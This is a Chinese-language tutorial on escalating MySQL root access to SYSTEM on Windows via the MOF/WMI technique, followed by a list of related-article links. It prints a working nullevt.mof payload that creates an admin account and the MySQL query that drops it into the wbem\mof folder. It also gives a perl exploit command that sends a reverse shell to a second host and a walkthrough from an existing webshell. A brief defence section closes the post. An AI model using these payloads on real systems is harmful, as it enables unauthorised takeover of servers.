MySQL資料庫Root許可權MOF方法提權研究
MySQL Root許可權MOF方法提權是來自國外Kingcope大牛釋出的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)
,簡稱mysql遠端提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 儲存庫的託管物件格式 (MOF) 檔案:
方法1:執行 MOF 檔案指定為命令列引數將 Mofcomp.exe 檔案。
方法2:使用 IMofCompiler 介面和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 資料夾的 MOF 檔案。
Microsoft 建議您到儲存庫編譯 MOF 檔案使用前兩種方法。也就是執行 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以複製檔案到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!
001漏洞利用方法分析
該漏洞的利用前提條件是必須具備mysql的root許可權,在Kingcope公佈的0day中公佈了一個pl利用指令碼。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100為mysql資料庫所在伺服器,mysql口令為空,反彈到192.168.2.150的5555埠上。
1.生成nullevt.mof檔案
將以下程式碼儲存為nullevt.mof檔案:
# pragma namespace("\\.\root\subscription")
instance of **EventFilter as $EventFilter{ EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select \* From **InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.通過Mysql查詢將檔案匯入
執行以下查詢語句,將上面生成的nullevt.mof匯入到c:\windows\system32\wbem\mof\目錄下在windows7中預設是拒絕訪問的。匯入後系統會自動執行,執行命令。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
002實戰利用
1.實驗環境
本次實驗環境為Windows2003+Apache+PHP,已經擁有Webshell許可權。
2.上傳檔案到可寫目錄
將nullevt.mof檔案上傳到伺服器可寫目錄,例如C:\RECYCLER\,如圖1所示。
圖1上傳檔案nullevt.mof
3.執行命令
配置好中國菜刀,然後通過資料庫管理,執行查詢命令,在執行查詢命令前需要先選擇一下資料庫,然後將以下程式碼複製到查詢語句輸入框中,如圖2所示。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
圖2執行查詢命令
4.檢視執行結果
執行完畢後需要修改新增使用者命令為將使用者新增到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳並查詢,如圖3所示,通過net user檢視,果然admin已被新增到系統中。
圖3新增使用者成功
003防範方法
Mysql Root許可權MOF方法提權其前提條件是能夠將上傳的nullevt.mof複製到系統目錄下,例如c:\windows\system32\wbem\mof中,如果無法複製則會提權失敗。一般對Windows2003以下作業系統效果較好,Windows2008以上由於保護機制,較少能夠成功。因此可以採取以下措施進行防範:
1.在程式資料庫連線檔案中儘量不要使用Root帳號進行連線。
2.Root帳號使用強加密方式,採用字母大小寫+數字+特殊字元,密碼位數15位以上。
3.對Mysql資料庫的mysql資料庫目錄許可權嚴格限制,IIS使用者無法讀寫該檔案。
作業系統目錄c:\windows\system32\wbem禁止寫入。
相關文章
- mysql提權之mof詳解MySql
- MySQL資料庫許可權體系入門(5)---管理資料庫許可權MySql資料庫
- Mysql資料庫許可權問題MySql資料庫
- MySQL資料庫許可權體系入門(4)---管理全域性許可權MySql資料庫
- Android系統許可權和root許可權Android
- MySQL資料庫許可權體系入門(3)---管理使用者許可權MySql資料庫
- MySQL之test資料庫預設許可權MySql資料庫
- Linux提權-許可權升級Linux
- 資料庫的許可權管理資料庫
- Atitit godaddy 檔案許可權 root許可權設定Go
- 資料許可權
- MAC 開啟root許可權Mac
- mysql許可權MySql
- MySQL 許可權MySql
- MYSQL 開啟root遠端登入許可權MySql
- 設定mysql遠端連線root許可權MySql
- MySQL資料庫許可權體系入門(6)---管理表、列及程式相關許可權MySql資料庫
- 資料庫學習:許可權管理資料庫
- [資料庫]MYSQL之授予/查驗binlog許可權資料庫MySql
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.3許可權級別(1)MySql資料庫
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.3許可權級別(2)MySql資料庫
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.3許可權級別(3)MySql資料庫
- ylbtech-許可權管理-資料庫設計-功能許可權管理技術資料庫
- Mysql——許可權管理MySql
- Mysql 許可權管理MySql
- MySQL許可權管理MySql
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.2許可權授予與回收(3)MySql資料庫
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.2許可權授予與回收(2)MySql資料庫
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.2許可權授予與回收(1)MySql資料庫
- 資料庫安全之許可權與角色資料庫
- 資料庫許可權-儲存過程資料庫儲存過程
- MySQL資料庫許可權體系入門(1)---工作原理MySql資料庫
- Guest許可權突破——許可權提升方法總結(轉)
- 【MySql】許可權不足導致的無法連線到資料庫以及許可權的授予和撤銷MySql資料庫
- 提取使用者許可權或是不同資料庫使用者許可權的同步資料庫
- Mysql許可權管理以及sql資料備份MySql
- 塗抹MySQL--第5章 MySQL資料庫中的許可權體系 - 5.1談談許可權處理邏輯MySql資料庫
- mysql許可權參考MySql